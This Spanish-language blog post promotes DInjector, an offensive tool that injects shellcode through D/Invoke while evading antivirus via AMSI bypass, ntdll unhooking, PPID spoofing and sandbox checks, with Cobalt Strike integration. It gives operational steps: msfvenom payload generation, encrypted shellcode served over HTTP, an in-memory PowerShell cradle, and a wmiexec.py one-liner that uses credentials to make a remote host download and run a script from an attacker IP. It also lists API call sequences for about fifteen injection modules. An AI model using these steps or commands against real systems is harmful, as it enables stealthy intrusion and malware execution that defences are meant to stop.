Con la API de SharpSploit D/Invoke, en lugar de importar estáticamente las llamadas a la API con PInvoke, podemos invocarlas dinámicamente para cargar una DLL en tiempo de ejecución y llamar a la función usando un puntero a su ubicación en la memoria. Esto nos permite bypassear los hooks de varias maneras y ejecutar payloads en post-explotación de manera reflexiva, evitando también las detecciones basadas en las búsquedas de importaciones sospechosas en la IAT del PE.
Ahora snovvcrash ha publicado DInjector, un repo con muchos snippets que implenta varias técnicas de inyección de shellcodes usando D/Invoke con características muy interesantes:
- Completamente portado a D/Invoke API
- Payloads cifrados que se pueden invocar desde una URL o pasar en base64 como argumento
- Bypass AMSI incorporado
- PPID Spoofing y bloqueo de archivos DLL que no son de Microsoft (cogidos de TikiTorch, el informe está aquí)
- Sencilla detección y evasión de sandbox
- Cálculo de números primos para emular el sleep para la evasión de escaneo en memoria
- Unhooking de Ntdll.dll
- Integración Cobalt Strike
Uso
- Compila el proyecto en VS (o a través de OffensivePipeline).
- Genera un shellcode de tu elección:
~$ msfvenom -p windows/x64/messagebox TITLE='MSF' TEXT='Hack the Planet!' EXITFUNC=thread -f raw -o shellcode.bin
- Cifrar el shellcode
~$ encrypt.py shellcode.bin -p 'Passw0rd!' -o enc
- Servir el shellcode cifrado
~$ sudo python3 -m http.server 80
- Utilizar el cradle de PowerShell para descargar DInjector.dll como
System.Reflection.Assembly
y ejecutarlo desde memoria.
Nota: no es recomendable poner el assembly en disco porque probablemente será detectado
Argumentos:
Nombre | Requerido | Valores de ejemplo |
Descripción |
---|---|---|---|
/sc |
http://10.10.13.37/enc |
Configura el path del shellcode (puede ser cargado desde una URL o como una string en base64) | |
/password |
Passw0rd! |
Configura el password para descifrar el shellcode | |
/sleep |
10 , 25 |
Configura los segundos (aprox.) para esperar antes de la ejecucióbn |
|
/am51 |
True , False |
Aplica el bypass de AMS | |
/unhook |
True , False |
Unhookea ntdll.dll |
Integración con Cobalt Strike
Para usar DInjector en Cobalt Strike, compilar el proyecto como una aplicación de consola y poner el assembly junto al Aggressor script.
Módulos
FunctionPointer
module_name: 'functionpointer'
arguments:
description: |
Allocates a RW memory region, copies the shellcode into it and executes it like a function.
calls:
- ntdll.dll:
1: 'NtAllocateVirtualMemory (PAGE_READWRITE)'
2: 'NtProtectVirtualMemory (PAGE_EXECUTE_READ)'
opsec_safe: false
references:
- 'http://disbauxes.upc.es/code/two-basic-ways-to-run-and-test-shellcode/'
- 'https://www.ired.team/offensive-security/code-injection-process-injection/local-shellcode-execution-without-windows-apis'
- 'https://www.fergonez.net/post/shellcode-csharp'
Cuando cargamos el cradle desde una shell semi-interactiva, usar Invoke-WmiMethod
para spawnear un proceso de PowerShell. Ejemplo con wmiexec.py:
~$ wmiexec.py -silentcommand -nooutput administrator:'Passw0rd!'@192.168.1.11 "powershell -enc $(echo -n 'Invoke-WmiMethod Win32_Process -Name Create -ArgumentList ("powershell -enc '`echo -n 'IEX(New-Object Net.WebClient).DownloadString("http://10.10.13.37/cradle.ps1")' | iconv -t UTF-16LE | base64 -w0`'")' | iconv -t UTF-16LE | base64 -w0)"
FunctionPointerV2
module_name: 'functionpointerv2'
arguments:
description: |
Sets RX on a byte array and executes it like a function.
calls:
- ntdll.dll:
1: 'NtProtectVirtualMemory (PAGE_EXECUTE_READ)'
opsec_safe: false
references:
- 'https://jhalon.github.io/utilizing-syscalls-in-csharp-1/'
- 'https://jhalon.github.io/utilizing-syscalls-in-csharp-2/'
- 'https://github.com/jhalon/SharpCall/blob/master/Syscalls.cs'
ClipboardPointer
module_name: 'clipboardpointer'
arguments:
description: |
Copies shellcode bytes into the clipboard, sets RX on it and executes it like a function.
calls:
- user32.dll:
1: 'OpenClipboard'
2: 'SetClipboardData'
3: 'CloseClipboard'
- ntdll.dll:
1: 'NtProtectVirtualMemory (PAGE_EXECUTE_READ)'
opsec_safe: true
references:
- 'https://gist.github.com/Wra7h/69a03c802ae6977e74b1152a4b004515'
CurrentThread
module_name: 'currentthread'
arguments:
description: |
Injects shellcode into current process.
Thread execution via NtCreateThreadEx.
calls:
- ntdll.dll:
1: 'NtAllocateVirtualMemory (PAGE_READWRITE)'
2: 'NtProtectVirtualMemory (PAGE_EXECUTE_READ)'
3: 'NtCreateThreadEx'
4: 'NtWaitForSingleObject'
opsec_safe: false
references:
- 'https://github.com/XingYun-Cloud/D-Invoke-syscall/blob/main/Program.cs'
CurrentThreadUuid (para payloads pequeños)
module_name: 'currentthreaduuid'
arguments:
description: |
Injects shellcode into current process.
Thread execution via EnumSystemLocalesA.
calls:
- kernel32.dll:
1: 'HeapCreate'
2: 'EnumSystemLocalesA'
- rpcrt4.dll:
1: 'UuidFromStringA'
opsec_safe: false
references:
- 'https://blog.sunggwanchoi.com/eng-uuid-shellcode-execution/'
- 'https://github.com/ChoiSG/UuidShellcodeExec/blob/main/USEConsole/Program.cs'
RemoteThread
module_name: 'remotethread'
arguments: |
/pid:1337
description: |
Injects shellcode into an existing remote process.
Thread execution via NtCreateThreadEx.
calls:
- ntdll.dll:
1: 'NtOpenProcess'
2: 'NtAllocateVirtualMemory (PAGE_READWRITE)'
3: 'NtWriteVirtualMemory (shellcode)'
4: 'NtProtectVirtualMemory (PAGE_EXECUTE_READ)'
5: 'NtCreateThreadEx'
opsec_safe: false
references:
- 'https://github.com/S3cur3Th1sSh1t/SharpImpersonation/blob/main/SharpImpersonation/Shellcode.cs'
RemoteThreadDll
module_name: 'remotethreaddll'
arguments: |
/pid:1337
/dll:msvcp_win.dll
description: |
Injects shellcode into an existing remote process overwriting one of its loaded modules' .text section.
Thread execution via NtCreateThreadEx.
calls:
- ntdll.dll:
1: 'NtOpenProcess'
2: 'NtWriteVirtualMemory (shellcode)'
3: 'NtProtectVirtualMemory (PAGE_EXECUTE_READ)'
4: 'NtCreateThreadEx'
opsec_safe:
references:
- 'https://www.netero1010-securitylab.com/eavsion/alternative-process-injection'
RemoteThreadView
module_name: 'remotethreadview'
arguments: |
/pid:1337
description: |
Injects shellcode into an existing remote process.
Thread execution via RtlCreateUserThread.
calls:
- ntdll.dll:
1: 'NtOpenProcess'
2: 'NtCreateSection (PAGE_EXECUTE_READWRITE)'
3: 'NtMapViewOfSection (PAGE_READWRITE)'
4: 'NtMapViewOfSection (PAGE_EXECUTE_READ)'
5: 'RtlCreateUserThread'
6: 'NtUnmapViewOfSection'
opsec_safe: false
references:
- 'https://github.com/chvancooten/OSEP-Code-Snippets/blob/main/Sections%20Shellcode%20Process%20Injector/Program.cs'
RemoteThreadSuspended
module_name: 'remotethreadsuspended'
arguments: |
/pid:1337
description: |
Injects shellcode into an existing remote process and flips memory protection to PAGE_NOACCESS.
After a short sleep (waiting until a possible AV scan is finished) the protection is flipped again to PAGE_EXECUTE_READ.
Thread execution via NtCreateThreadEx.
calls:
- ntdll.dll:
1: 'NtOpenProcess'
2: 'NtAllocateVirtualMemory (PAGE_READWRITE)'
3: 'NtWriteVirtualMemory (shellcode)'
4: 'NtProtectVirtualMemory (PAGE_NOACCESS)'
5: 'NtCreateThreadEx (CREATE_SUSPENDED)'
6: 'NtProtectVirtualMemory (PAGE_EXECUTE_READ)'
7: 'NtResumeThread'
opsec_safe: true
references:
- 'https://labs.f-secure.com/blog/bypassing-windows-defender-runtime-scanning/'
- 'https://github.com/plackyhacker/Suspended-Thread-Injection/blob/main/injection.cs'
RemoteThreadKernelCB (UNSTABLE)
module_name: 'remotethreadkernelcb'
arguments: |
/pid:1337
description: |
Injects shellcode into an existing remote GUI process by spoofing the fnCOPYDATA value in KernelCallbackTable.
Thread execution via SendMessageA.
calls:
- user32.dll:
1: 'FindWindowExA'
2: 'SendMessageA'
- ntdll.dll:
1: 'NtOpenProcess'
2: 'NtQueryInformationProcess'
3: 'NtReadVirtualMemory (kernelCallbackAddress)'
4: 'NtReadVirtualMemory (kernelCallbackValue)'
5: 'NtReadVirtualMemory (kernelStruct.fnCOPYDATA)'
6: 'NtProtectVirtualMemory (PAGE_READWRITE)'
7: 'NtWriteVirtualMemory (shellcode)'
8: 'NtProtectVirtualMemory (oldProtect)'
9: 'NtProtectVirtualMemory (PAGE_READWRITE)'
10: 'NtWriteVirtualMemory (origData)'
11: 'NtProtectVirtualMemory (oldProtect)'
opsec_safe:
references:
- 'https://t0rchwo0d.github.io/windows/Windows-Process-Injection-Technique-KernelCallbackTable/'
- 'https://modexp.wordpress.com/2019/05/25/windows-injection-finspy/'
- 'https://gist.github.com/sbasu7241/5dd8c278762c6305b4b2009d44d60c13'
RemoteThreadAPC
module_name: 'remotethreadapc'
arguments: |
/image:C:\Windows\System32\svchost.exe
/ppid:31337
/blockDlls:True
description: |
Injects shellcode into a newly spawned remote process.
Thread execution via NtQueueApcThread.
calls:
- kernel32.dll:
1: 'InitializeProcThreadAttributeList'
2: 'UpdateProcThreadAttribute (blockDLLs)'
3: 'UpdateProcThreadAttribute (PPID)'
4: 'CreateProcessA'
- ntdll.dll:
1: 'NtAllocateVirtualMemory (PAGE_READWRITE)'
2: 'NtWriteVirtualMemory (shellcode)'
3: 'NtProtectVirtualMemory (PAGE_EXECUTE_READ)'
4: 'NtOpenThread'
5: 'NtQueueApcThread'
6: 'NtAlertResumeThread'
opsec_safe: true
references:
- 'https://rastamouse.me/exploring-process-injection-opsec-part-2/'
- 'https://gist.github.com/jfmaes/944991c40fb34625cf72fd33df1682c0'
RemoteThreadContext
module_name: 'remotethreadcontext'
arguments: |
/image:C:\Windows\System32\svchost.exe
/ppid:31337
/blockDlls:True
description: |
Injects shellcode into a newly spawned remote process.
Thread execution via SetThreadContext.
calls:
- kernel32.dll:
1: 'InitializeProcThreadAttributeList'
2: 'UpdateProcThreadAttribute (blockDLLs)'
3: 'UpdateProcThreadAttribute (PPID)'
4: 'CreateProcessA'
- ntdll.dll:
1: 'NtAllocateVirtualMemory (PAGE_READWRITE)'
2: 'NtWriteVirtualMemory (shellcode)'
3: 'NtProtectVirtualMemory (PAGE_EXECUTE_READ)'
4: 'NtCreateThreadEx (CREATE_SUSPENDED)'
5: 'GetThreadContext'
6: 'SetThreadContext'
7: 'NtResumeThread'
opsec_safe: true
references:
- 'https://blog.xpnsec.com/undersanding-and-evading-get-injectedthread/'
- 'https://github.com/djhohnstein/CSharpSetThreadContext/blob/master/Runner/Program.cs'
ProcessHollowing
module_name: 'processhollowing'
arguments: |
/image:C:\Windows\System32\svchost.exe
/ppid:31337
/blockDlls:True
description: |
Injects shellcode into a newly spawned remote process.
Thread execution via NtResumeThread (hollowing with shellcode).
calls:
- kernel32.dll:
1: 'InitializeProcThreadAttributeList'
2: 'UpdateProcThreadAttribute (blockDLLs)'
3: 'UpdateProcThreadAttribute (PPID)'
4: 'CreateProcessA'
- ntdll.dll:
1: 'NtQueryInformationProcess'
2: 'NtReadVirtualMemory (ptrImageBaseAddress)'
3: 'NtProtectVirtualMemory (PAGE_EXECUTE_READWRITE)'
4: 'NtWriteVirtualMemory (shellcode)'
5: 'NtProtectVirtualMemory (oldProtect)'
6: 'NtResumeThread'
opsec_safe: false
references:
- 'https://github.com/CCob/SharpBlock/blob/master/Program.cs'
ModuleStomping
module_name: 'modulestomping'
arguments: |
/image:C:\Windows\System32\svchost.exe
/stomp:xpsservices.dll
/export:DllCanUnloadNow
/ppid:31337
/blockDlls:True
description: |
Loads a trusted module from disk and overwrites one of its exported functions.
Thread execution via NtCreateThreadEx.
calls:
- kernel32.dll:
1: 'InitializeProcThreadAttributeList'
2: 'UpdateProcThreadAttribute (blockDLLs)'
3: 'UpdateProcThreadAttribute (PPID)'
4: 'CreateProcessA'
- ntdll.dll:
1: 'NtAllocateVirtualMemory (bModuleName, PAGE_READWRITE)'
2: 'NtAllocateVirtualMemory (shim, PAGE_READWRITE)'
3: 'NtWriteVirtualMemory (bModuleName)'
4: 'NtWriteVirtualMemory (shim)'
5: 'NtProtectVirtualMemory (shim, PAGE_EXECUTE_READ)'
6: 'NtCreateThreadEx (shim)'
7: 'NtWaitForSingleObject'
8: 'NtFreeVirtualMemory (allocModule)'
9: 'NtFreeVirtualMemory (allocShim)'
10: 'NtProtectVirtualMemory (shellcode, PAGE_READWRITE)'
11: 'NtWriteVirtualMemory (shellcode)'
12: 'NtProtectVirtualMemory (shellcode, PAGE_EXECUTE_READ)'
13: 'NtCreateThreadEx (shellcode)'
opsec_safe: true
references:
- 'https://offensivedefence.co.uk/posts/module-stomping/'
- 'https://github.com/rasta-mouse/TikiTorch/blob/master/TikiLoader/Stomper.cs'
Proyecto: https://github.com/snovvcrash/DInjector
Comentarios
Publicar un comentario